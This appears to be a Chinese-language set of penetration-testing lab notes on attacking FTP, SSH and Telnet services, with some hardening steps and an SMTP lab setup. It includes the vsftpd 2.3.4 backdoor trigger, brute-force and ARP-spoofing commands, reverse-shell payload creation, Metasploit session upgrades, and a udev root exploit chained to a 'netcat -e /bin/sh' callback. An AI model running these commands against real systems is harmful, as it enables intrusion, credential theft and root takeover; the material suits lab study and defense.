FTP漏洞利用
-
FTP协议介绍
-
文件传输协议(File Transfer Protocol),是用于在网络上进行文件传输的一套标准协议,使用客户/服务器模式。属于应用层的协议,端口21
-
用户分类
- Real用户
- Administrator
- 匿名用户(anonymous)
-
FTP文件传输格式
- ASCII
- 二进制格式
-
-
利用FTP匿名登录漏洞
- 由于FTP没有禁止匿名用户,所以可以直接使用Anonymous用户直接登录FTP服务器。使用nc连接FTP
- 查看目标21端口是否开启
- nmap -p 21 IP地址
- 扫描漏洞
- nmap --script vuln -p 21IP地址
- nc IP地址 21
- 自己手工写入用户名和密码
- USER anonymous
- PASS 123
- quit --退出连接
- 自己手工写入用户名和密码
- 查看目标21端口是否开启
- 由于FTP没有禁止匿名用户,所以可以直接使用Anonymous用户直接登录FTP服务器。使用nc连接FTP
-
利用FTP后门漏洞
- vsftpd(2.3.4)手工触发漏洞:当进行FTP认证时,如果用户名USER中包含:),那么直接就触发监听6200端口的连接的shell
- nc IP地址 21
- USER user:)
- PASS pass
- 查看6200端口是否触发
- nmap -p 6200 IP地址
- 验证
- nc IP地址 6200
- nc IP地址 21
- vsftpd(2.3.4)手工触发漏洞:当进行FTP认证时,如果用户名USER中包含:),那么直接就触发监听6200端口的连接的shell
-
FTP安全配置
- 修改配置文件,禁止匿名用户登录(linux中的配置文件是vsftpd.conf)
- 对特定漏洞进行打补丁,或者设置防火墙禁止连接后门端口
- iptables -A INPUT -p tcp -dport 6200 -j DROP
- iptables -A OUTPUT -p tcp -sport 6200 -j DROP
FTP漏洞利用-ftp不可避免的问题
-
FTP用户名密码暴力破解
- Windows下CMD命令行添加用户,以及提升Administrator管理员权限
- net user 用户名 密码 /add
- net localgroup administrators 用户名 /add
- Windows下FTP服务器添加用户操作(这里假设添加的是admin/admin)
- win2003 --IIS–FTP站点–右键属性–安全账户–添加账户
- 使用medusa暴力破解FTP登录(kai)
- 首先使用nc测试一下FTP连接
- nc IP地址 21
- USER admin
- PASS admin
- quit
- 假设不知道密码,medusa暴力破解
- 新建一个字典(测试使用,要真实可去寻找一些比较实用的字典)
- pass.txt (在其中加入密码admin和其他一些随意的密码)
- medusa -h IP地址 -u admin -P /root/Desktop/pass.txt -M ftp(-p表示单个密码,-P表示密码字典文件)
- 新建一个字典(测试使用,要真实可去寻找一些比较实用的字典)
- 首先使用nc测试一下FTP连接
- Windows下CMD命令行添加用户,以及提升Administrator管理员权限
-
FTP用户名明文密码验证
- FTP协议中用于用户认证的过程中,客户端与服务器端是通过明文进行交互信息的。验证FTP登录过程中明文传输用户名和密码
- nc连接FTP
- Wireshark抓包
- FTP协议中用于用户认证的过程中,客户端与服务器端是通过明文进行交互信息的。验证FTP登录过程中明文传输用户名和密码
-
FTP用户名明文密码嗅探
- 利用arpspoof进行ARP嗅探
- 如果没有arpspoof,进行安装
- apt install dsniff ssldump
- arpspoof -i eth0 192.168.1.1 -t 192.168.1.103(冒充网关进行ARP欺骗)
- 利用wireshar进行抓包(抓取数据)
- [外链图片转存中…(img-Kd3A5FfO-1654369598659)]实体机FTP连接192.168.1.103,输入用户名和密码连接
- 抓包内容
- 如果没有arpspoof,进行安装
- 利用arpspoof进行ARP嗅探
-
FTP登录之后做的事情
- 利用metasploit创建反弹shell上传到FTP服务器。可以利用setoolkit快速生成反弹shell
- kali输入命令进入
- setoolkit(8.0.3)
- 1 --(选择第一个)
- 4 --(选择第四个)
- 2 --(选择第二个)
- 192.168.1.102 --(kali的IP地址)
- 4445 --(选择端口,任意,不冲突就行)
- 回车,等待生成payload
- 输入yes
- 打开另外一个终端
- cd /root/.set/
- ls
- mv payload.exe /home/kali/Desktop --(移动到桌面)
- 复制到实体机
- 实体机FTP远程连接win2003,上传payload文件
- ftp 192.168.1.103
- 输入用户名和密码
- put 文件路径
- 上传成功后,会存在服务器的ftproot目录下
- 当服务器双击打开
- kali 会反弹一个shell
- sessions -i 进程号
- 调出shell
- 利用metasploit创建反弹shell上传到FTP服务器。可以利用setoolkit快速生成反弹shell
漏洞利用-SSH环境搭建
- ubuntu搭建ssh服务端
- ubuntu下安装服务端
- sudo apt-get install openssh-server
- ubuntu下安装服务端
- SSH服务端服务启动与关闭
- 启动
- service ssh start
- 状态获取
- service ssh status
- 关闭
- service ssh stop
- 启动
- ubuntu搭建ssh客户端
- ubuntu下安装putty工具
- sudo apt-get install putty
- ubuntu下安装putty
- 在软件中心搜索putty进行安装
- 选择putty ssh client 安装
- 在软件中心搜索putty进行安装
- ubuntu下安装putty工具
- 客户端连接服务端
- 打开putty输入服务端信息,连接
- 输入IP地址(这里是连接本地的SSH)
- 其他默认
- open
- 打开putty输入服务端信息,连接
漏洞利用-SSH Banner信息获取
- nmap获取SSH Banner信息
- nmap -sV -p 22 IP地址
- Metasploit获取SSH Banner信息
- msfconsole
- use auxiliary/scanner/ssh/ssh_version
- 查看需要设置的参数
- show options
- 设置远程主机
- set rhosts 192.168.1.105
- 设置端口
- set rport 22
- 设置线程(可选)
- set threads 20
- 实施攻击
- exploit/run
- msfconsole
- nc获取SSH Banner信息
- nc IP地址 22
- 配置SSH规避Banner信息
- 在ssh配置文件/etc/ssh/sshd_config中新增一行
- Ctrl+F输入banner寻找
- 新增:DebianBanner no
- 重启服务
- service ssh restart
- 然后再次扫描发现没有操作系统信息
- 在ssh配置文件/etc/ssh/sshd_config中新增一行
漏洞利用-SSH弱口令破解利用
- Medusa SSH弱口令破解
- medusa -h IP地址 -U 用户名字典文件 -P 密码字典文件 -M 指定服务
- medusa -h 192.168.1.105 -U /home/kali/Desktop/username.txt -P /home/kali/Desktop/password.txt -M ssh
- 字典文件可自己编写,也可去网上搜索
- medusa -h IP地址 -U 用户名字典文件 -P 密码字典文件 -M 指定服务
- SSH命令行工具登录
- 一般情况Linux都具有ssh客户端,用来登录ssh服务端
- 可以使用ssh 用户名@IP地址,然后根据提示输入密码
- Metasploit利用SSH登录反弹shell
- 使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接
- msfconsole
- search ssh_login
- use auxiliary/scanner/ssh/ssh_login
- set rhosts 192.168.1.105
- 这里不再进行破解(这里的用户名和密码是我已经知道的)
- set username user
- set password 123456
- exploit/run
- 成功后调用会话 sessions -i 会话号
- bash 进入用户视图
- Metasploit获取Meterpreter Shell
- 利用获得的Bash shell,注入Metasploit中Meterpreter payload从而获取更强大功能的shell
- sessions -u 会话号
- 注入成功后,sessions -l查看会话(这里假设注入后建立的会话号是3)
- sessions -i 3 --(调用)
- 利用获得的Bash shell,注入Metasploit中Meterpreter payload从而获取更强大功能的shell
漏洞利用-SSH安全防御
- SSH修改默认端口
- gedit /etc/ssh/sshd_config
- Crtl+F搜索port
- 将port 22 更改为port 其他端口号
- 修改之后必须重新启动服务
- SSH设置PGP登录
- 默认情况下,SSH使用用户名和密码进行远程登录,但也可以使用密钥进行身份验证登录(公钥与私钥)
- 生成SSH密钥对,使用puttygen
- 使用ssh-keygen命令在Linux生成.ssh目录
- 在.ssh下新建密钥存储文件authorized_keys,并复制私钥文件到.ssh目录下。使用命令puttygen -L “拷贝私钥文件”,将内容拷贝到authorized_keys文件中
- 使用putty客户端加载私钥文件进行连接
- putty ssh client
- SSH–>Auth–>Private key file for authentication加载私钥文件
- Connection–>data–>输入对应的用户名
- 此时Sessons连接将不需要密码
- SSH防御暴力破解用户账号
- 在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解
- 修改/etc/ssh/sshd_config
- 将 "#PasswordAuthentication yes"改为 “PasswordAuthentication no”
- 重新启动服务
- Iptables设置阈值防止暴力破解
- 利用iptables对多次连接验证错误,进行账户锁定120秒
- iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
- iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 120 --hitcount 3 -j DROP
- 设置完成,重启ssh服务
- 利用iptables对多次连接验证错误,进行账户锁定120秒
漏洞利用-telnet暴力破解
- telnet介绍
- TCP/IP协议簇中的一员,是Internet远程登录服务的标准协议和主要方式
- 虽然telnet较为简单,使用也很方便,但在现代网络技术中,telnet并不被重用。原因是telnet是一个明文传输的协议,因此很多服务器都会选择禁用telnet服务
- 默认使用23端口
- telnet版本获取
- 使用nmap获取telnet版本信息
- nmap -p 23 -sV 192.168.1.105
- 使用Metasploit获取telnet版本信息
- msfconsole
- search telnet
- use auxiliary/scanner/telnet/telnet_version
- set rhosts 192.168.1.105
- set threads 30
- set rport 23
- exploit/run
- 使用nmap获取telnet版本信息
- telnet密码破解
- 使用Metasploit下针对telnet破解的模块进行用户名和密码的破解
- 在msfconsole使用search telnet进行查询telnet可以利用的模块
- use auxiliary/scanner/telnet/telnet_login
- set rhost 192.168.1.105
- set username 用户名(这是已知情况,未知情况设置字典进行破解set user_file 字典路径)
- set password 密码 (未知设置字典 set pass_file 字典路径)
- use auxiliary/scanner/telnet/telnet_login
- telnet登录测试
- 使用破解好的会话连接telnet,并执行对应命令
- 使用sessions -l 列举建立的会话
- 使用sessions -i id 使用对应的会话
- bash ——进入用户视图
漏洞利用-Telnet登录提权(metasploit2靶机)
-
msf登录telnet
- 在metasploit中使用 telnet_login进行登录,并使用sessions -i id 连接shell
- use auxiliary/scanner/telnet/telnet_login
- set rhosts IP地址
- 该模块的用户名和密码只能通过指定文件进行设置
- set user_file /home/kali/Desktop/user.txt
- set pass_file /home/kali/Desktop/pass.txt
- run/exploit
- sessions -l --查看连接的会话
- sessions -i id --调用会话
- 如果出现连接已经建立却无法执行命令
- 此时,可以通过命令尝试拿到meterpreter shell
- sessions -u 对应会话ID
- 此时,可以通过命令尝试拿到meterpreter shell
- 在metasploit中使用 telnet_login进行登录,并使用sessions -i id 连接shell
-
msf连接shell下载exp(连接上shell进行操作)
- 使用wget进行下载
- wget http://www.exploit-db.com/download/8572
- 如果无法下载,本地另开一个终端,搭建服务
- cd /var/www/html
- wget http://www.exploit-db.com/download/8572
- 重命名
- mv 8527 test.c
- 启动apache服务
- service apache2 start
- 执行下载
- wget “http://192.168.1.105/test.c
- 使用wget进行下载
-
设置kali nc监听
- 使用netcat 进行监听,后期返回的shell
- nc -lvp 4444
- 使用netcat 进行监听,后期返回的shell
-
编译执行exp,获取root
-
gcc 源文件 -o exploit --(这里的源文件是test.c)
-
echo ‘#!/bin/sh’>/tmp/run
-
echo ‘/bin/netcat -e /bin/sh IP地址 4444’>>/tmp/run --(这里的IP地址是kali的IP地址(192.168.1.105))
-
ps -edf | grep udev
-
执行exploit 具有root权限的pid-1
- ./exploit 数字pid-1
-
漏洞利用-Smtp实验环境搭建
-
邮件发送与接受模型
- 邮件发送使用smtp协议,占用25端口。而邮件接收使用pop3或imap协议,分别占用110和143端口
-
添加主机名和域名
- 为了在本地搭建好邮件服务器,所以需要修改对应内容。使得可以在本地进行域名解析
- sudo gedit /etc/hosts
- 127.0.0.1 mail.test.lab test
- sudo gedit /etc/hostname
- test
- sudo gedit /etc/hosts
- 修改完成重启reboot
- 使用hostname 或 hostname -f 查看修改是否成功
- 为了在本地搭建好邮件服务器,所以需要修改对应内容。使得可以在本地进行域名解析
-
ubuntu安装postfix
- postfix是非常流行的smtp软件,所以ubuntu的主要库中集成了postfix,可以直接使用以下命令安装
- sudo apt-get install postfix(卸载命令apt-get --purge remove postfix)
- 修改配置文件
- sudo gedit /etc/postfix/main.cf
- 追加子网信息
- inet_protocols = ipv4
- home_mailbox = Maildir/
- 修改完成重新启动服务
- sudo service postfix restart
- 使用netstat -nlv 查看25端口是否开启
- postfix是非常流行的smtp软件,所以ubuntu的主要库中集成了postfix,可以直接使用以下命令安装
-
ubuntu安装dovecot
-
sudo apt-get install dovecot-imapd dovecot-pop3d
-
修改配置文件
-
sudo gedit /etc/dovecot/conf.d/10-auth.conf
- disable_plaintest_auth = yes
- auth_mechanisms = plain login
-
sudo gedit /etc/dovecot/conf.d/10-mail.conf
- mail_location = maildir:/home/%u/Maildir
-
sudo gedit /etc/dovecot/conf.d/10-master.conf
-
设置port = 143 port 110
-
修改权限
-
unix_listerner auth-usrdb{
mode = 0600
user = postfix
group = postfix
}
-
-
-
-
重新启动dovecot服务
- sudo service dovecot restart
- 使用netstat -nlv 查看143和110端口是否开启
-